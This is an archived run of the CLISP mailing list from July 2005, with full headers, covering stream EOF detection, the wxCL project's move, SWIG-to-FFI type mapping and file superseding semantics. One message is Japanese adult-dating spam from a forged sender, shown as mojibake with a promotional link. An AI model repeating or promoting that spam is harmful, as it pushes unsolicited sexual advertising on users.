[clisp-list] EOFP In-Reply-To: <200507161601.j6GG1FZi085044@grant.org> References: <200507161601.j6GG1FZi085044@grant.org> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 16 12:53:54 2005 X-Original-Date: Sat, 16 Jul 2005 21:51:20 +0200 Devon Sean McCullough writes: > Can CLISP test input streams for EOF, for any and all such streams? > OK to hang waiting for more input but not OK to consume input. > > I suppose I could try PEEK-CHAR for character streams, > catch the error if the peek sees an illegal char, > catch the error if the stream is binary and > use instead EXT:READ-BYTE-LOOKAHEAD > in a polling loop with a brief > SLEEP as it never hangs. > > Best to ask before resorting to such hackery, > perhaps it's right there in the manual > but not according to Google. With Common Lisp you can LISTEN to see if there's data available on an input stream. (AND (NOT (INTERACTIVE-STREAM-P stream)) (NOT (LISTEN stream))) ==> EOF is reached on stream. The normal way is to try to read anyways, and check for EOF at that time, because files can be extended at the same time they're read, so you never know where the EOF is until you actually reach it. And I don't even tell you about pipes and network sockets... That's why the reading functions in Common Lisp take TWO parameters to handler the EOF occurences. (loop with eof-token = (gensym) for s-expr = (read input NIL EOF-TOKEN) until (eql s-expr eof-token) do (print :not-yet-eof) finally (print :eof-reached)) Note that after you've open a file, and before you read the next item, another process can very well truncate the file (which means that you're already after EOF) and still before you read the next item, that other process can very well append more data so you're not after the EOF after all. But you cannot know if you don't try to read the next item. -- __Pascal_Bourguignon__ _ Software patents are endangering () ASCII ribbon against html email (o_ the computer industry all around /\ 1962:DO20I=1.100 //\ the world http://lpf.ai.mit.edu/ 2001:my($f)=`fortune`; V_/ http://petition.eurolinux.org/ From lisp-clisp-list@m.gmane.org Sat Jul 16 19:26:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DtyrV-0005RL-8s for clisp-list@lists.sourceforge.net; Sat, 16 Jul 2005 19:26:37 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx1.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DtyrT-0002RM-NV for clisp-list@lists.sourceforge.net; Sat, 16 Jul 2005 19:26:37 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DtyrK-0003Ri-DB for clisp-list@lists.sourceforge.net; Sun, 17 Jul 2005 04:26:26 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 17 Jul 2005 04:26:26 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 17 Jul 2005 04:26:26 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 35 Message-ID: References: <5F9130612D07074EB0A0CE7E69FD7A0304DEA5A0@S4DE8PSAAGS.blf.telekom.de> <3bqi2f69.fsf@netscape.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:2eb8Asy9mw1M0/ZSyNOL+IqAIDM= X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.8 HELO_DYNAMIC_IPADDR Relay HELO'd using suspicious hostname (IP addr 1) -1.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Lisp and Win32 GUIs (wxCL = wxWidgets + CL) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 16 19:28:17 2005 X-Original-Date: Sat, 16 Jul 2005 19:26:17 -0700 Sam Steingold writes: >> * Surendra Singhi [2005-07-13 21:18:54 -0700]: >> >> Thanks. Right now I have hosted the project on sourceforge >> http://sourceforge.net/projects/wxcl/ > > why did you split from http://sourceforge.net/projects/wxlisp/ ? No, we didn't split, just moved. The project was named wxCL, but the sourceforge unix name was wxlist, so we thought creating a new project and moving there will avoid confusion. Also, this will ensure that the mailing lists are properly named. > (note that the homepage 404s) Fixed. Thanks. > > > please make sure the lists are available on gmane.org. I have requested that, should be up in couple of days. > > Thanks and good luck! > Thanks. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From lisp-clisp-list@m.gmane.org Sat Jul 16 20:08:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DtzVu-00071B-SL for clisp-list@lists.sourceforge.net; Sat, 16 Jul 2005 20:08:22 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DtzVt-0000T5-E4 for clisp-list@lists.sourceforge.net; Sat, 16 Jul 2005 20:08:22 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DtzVo-0005W9-Ge for clisp-list@lists.sourceforge.net; Sun, 17 Jul 2005 05:08:16 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 17 Jul 2005 05:08:16 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 17 Jul 2005 05:08:16 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 29 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:8uvYF7p+yPMlDo3si5Txe2Wy7gA= X-Spam-Score: 1.7 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.8 HELO_DYNAMIC_IPADDR Relay HELO'd using suspicious hostname (IP addr 1) -1.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] SWIG - comment on automatic argument conversion Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 16 20:10:05 2005 X-Original-Date: Sat, 16 Jul 2005 20:08:08 -0700 Hello, For the automatic argument conversion from C header files to clisp ffi type I am using the following rules (algorithm), please comment on them. 1. for simple C types, use the simple lisp type 2. If it is a pointer than use ffi:c-pointer. Exception: for char* use c-string. 3. If it is an array, but dimensions are not given then use c-pointer, else if dimensions are given then use c-array with the dimensions. On styling, there is a (defpackage .. (:use :common-lisp :ffi).. declaration, but still should I prepend everything with the ffi package name? That is should I use ffi:c-string or just c-string? The sample output can be found on this link: Any suggestions, or feature request are welcome. http://www.public.asu.edu/~sksinghi/swig-clisp.html Regards. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From Joerg-Cyril.Hoehle@t-systems.com Mon Jul 18 07:26:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DuWZo-0000Ho-KL for clisp-list@lists.sourceforge.net; Mon, 18 Jul 2005 07:26:36 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DuWZm-0000bW-HT for clisp-list@lists.sourceforge.net; Mon, 18 Jul 2005 07:26:36 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 18 Jul 2005 16:26:45 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 18 Jul 2005 16:25:52 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03050B9666@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: efuzzyone@netscape.net Subject: [clisp-list] SWIG - comment on automatic argument conversion MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 1.4 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 18 07:28:50 2005 X-Original-Date: Mon, 18 Jul 2005 16:25:48 +0200 Surendra Singhi wrote: >2. If it is a pointer than use ffi:c-pointer. > Exception: for char* use c-string. >3. If it is an array, but dimensions are not given then use=20 >c-pointer, else if >dimensions are given then use c-array with the dimensions. How do you deal with seed48()? stdlib.h says: extern unsigned short int *seed48 (unsigned short int __seed16v[3]) = __THROW; I mean, be careful about the difference between known array dimensions = within struct definitions and function parameters! More precisely, within struct you need the (c-array x dim), within a = function you need an extra c-ptr around it. modules/bindings/glibc/linux.lisp contains: (def-call-out seed48 (:arguments (seed16v (c-ptr (c-array ushort 3)))) (:return-type (c-ptr (c-array ushort 3)) :none)) Regards, J=F6rg h=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Mon Jul 18 07:24:12 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DuWXT-0000Dm-1a for clisp-list@lists.sourceforge.net; Mon, 18 Jul 2005 07:24:11 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DuWXQ-0008SM-H0 for clisp-list@lists.sourceforge.net; Mon, 18 Jul 2005 07:24:11 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 18 Jul 2005 16:24:09 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 18 Jul 2005 16:23:52 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03050B9664@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] SWIG - comment on automatic argument conversion MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.4 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 18 07:28:53 2005 X-Original-Date: Mon, 18 Jul 2005 16:23:51 +0200 Hi, Here's a very nice quote taken out of context from Kent M. Pitman about = my feelings about FFI/UFFI&SWIG. >> [...] `Idioms' mean that there is some functionality that the >> language is incapable of expressing directly and concisely. > >They also define the line between what I call "expressive languages" >and "implementation languages", which I might loosely call, >respectively, "high-level languages" and "low-level languages", >although others have different definitions for the latter pair of >terms. The expressive/high-level languages are about saying >something, and are places where how you write something matters >aesthetically, presentationally, maintenance-wise, etc. while the >implementation/low-level languages tend to be more write-only and/or >places where the presentation per se is secondary to getting a correct >answer. Newsgroups: comp.lang.lisp Date: Wed, 29 Jun 2005 19:29:57 GMT Message-ID: Regards, J=F6rg H=F6hle. From kana_thousand@yahoo.com Mon Jul 18 08:32:48 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DuXbr-0003es-E3 for clisp-list@lists.sourceforge.net; Mon, 18 Jul 2005 08:32:47 -0700 Received: from 113.183.150.220.ap.yournet.ne.jp ([220.150.183.113] helo=mail.sourceforge.net) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.44) id 1DuXbr-000436-1x for clisp-list@lists.sourceforge.net; Mon, 18 Jul 2005 08:32:47 -0700 From: =?ISO-2022-JP?B?GyRCQGlMbiQrJEokXxsoQjxrYW5hX3Rob3VzYW5kQHlhaG9vLmNvbT4=?= To: clisp-list@lists.sf.net Message-ID: X-Spam-Score: -0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.0 MISSING_DATE Missing Date: header -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] =?ISO-2022-JP?B?GyRCJCpMZDlnJDskTjdvGyhC?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 18 08:36:10 2005 X-Original-Date: Mon Jul 18 08:34:07 2005 «‹t‰‡‘_‚¢‚Ȃ炱‚ÌŒfަ”« http://ez7.jp/?a002 —«‚̈³“|“I‚ÈŽx‰‡‚ðŽó‚¯AŒûƒRƒ~‚ÅL‚ª‚Á‚Ä‚¢‚Ü‚·B —«‚Ì“o˜^‚΂©‚肪‘‚¦‚Ä‚àƒJƒbƒvƒ‹¬—§‚܂ł¢‚½‚ç‚È‚¯‚ê‚ΈӖ¡‚ª‚È‚¢‚Ì‚ÅA’j«‚Ì•ûX‚àA‚à‚µSEX‚·‚邱‚ƂɒïR‚ª‚È‚¯‚ê‚΂º‚Јê“xƒAƒNƒZƒX‚µ‚Ă݂Ă­‚¾‚³‚¢II lIDSTnlibn From sds@gnu.org Mon Jul 18 12:52:12 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dubeu-0007UJ-7u for clisp-list@lists.sourceforge.net; Mon, 18 Jul 2005 12:52:12 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Duber-0000tR-Mg for clisp-list@lists.sourceforge.net; Mon, 18 Jul 2005 12:52:12 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6IJppXA019550; Mon, 18 Jul 2005 15:51:52 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050716185251.3334310FBF3@thalassa.informatimago.com> (Pascal Bourguignon's message of "Sat, 16 Jul 2005 20:52:51 +0200 (CEST)") References: <20050716185251.3334310FBF3@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.5 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: how to supersede a file? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 18 12:53:43 2005 X-Original-Date: Mon, 18 Jul 2005 15:51:12 -0400 > * Pascal Bourguignon [2005-07-16 20:52:51 +0200]: > > The parameter :supersede and :rename-and-delete don't seem to have the > specified effect (no new file is created): > > [83]> (defun get-filename-identifier (Filename) > "Given a filename, return (cons dev inode) associated with that filename." > (when (probe-file filename) > (cons (POSIX:file-stat-dev (POSIX:file-stat filename)) > (POSIX:file-stat-ino (POSIX:file-stat filename))))) > GET-FILENAME-IDENTIFIER > [84]> (let ((testfile "testfile")) > (flet ((test (if-exist) > (sleep 1) > (with-open-file (output-stream testfile :direction :output > :if-exists if-exist > :if-does-not-exist :create) > (format output-stream "random line ~A~%" (random 1000))) > (ext:shell "ls -li testfile") > (prog1 (prin1 (get-filename-identifier testfile)) (terpri)))) > (test :overwrite) > (test :rename-and-delete) > (test :supersede)) > (values)) > 1148057 -rw-r--r-- 1 pjb pjb 20 2005-07-16 20:48 testfile > (774 . 1148057) > 1148057 -rw-r--r-- 1 pjb pjb 15 2005-07-16 20:48 testfile > (774 . 1148057) > 1148057 -rw-r--r-- 1 pjb pjb 16 2005-07-16 20:48 testfile > (774 . 1148057) IMO, inode number is irrelevant here. :rename-and-delete and :supersede are intended to make the old file content available until the new file is closed. e.g. (delete-file "foo") (with-open-file (o "foo" :direction :output :if-exist :error) (write-line "original" o)) (let ((lines ())) (with-open-file (i "foo" :direction :input) (push (read-line i) lines) (file-position i :start) (with-open-file (o "foo" :direction :output :if-exist :supersede) (push (read-line i) lines) (file-position i :start) (write-line "new" o)) (push (read-line i) lines)) (with-open-file (i "foo" :direction :input) (push (read-line i) lines)) lines) ==> ("original" "original" "original" "new") I am not sure about the exact difference between :rename-and-delete and :supersede and how it affects the third member of LINES, but OPEN says "do something reasonable in the context of the host operating system". the only thing that comes to mind which is not yet done by CLISP is postponing file deletion until CLOSE. -- Sam Steingold (http://www.podval.org/~sds) running w2k Who is General Failure and why is he reading my hard disk? From lisp-clisp-list@m.gmane.org Mon Jul 18 22:18:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DukUp-0007y7-Oh for clisp-list@lists.sourceforge.net; Mon, 18 Jul 2005 22:18:23 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DukUn-0002Jq-Vq for clisp-list@lists.sourceforge.net; Mon, 18 Jul 2005 22:18:23 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DukUa-0000P5-1f for clisp-list@lists.sourceforge.net; Tue, 19 Jul 2005 07:18:08 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Jul 2005 07:18:08 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 19 Jul 2005 07:18:08 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 37 Message-ID: References: <5F9130612D07074EB0A0CE7E69FD7A03050B9666@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:F5MfrsGm1Sl4nHtMJSPR+Ew5BGQ= X-Spam-Score: 1.7 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.8 HELO_DYNAMIC_IPADDR Relay HELO'd using suspicious hostname (IP addr 1) 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 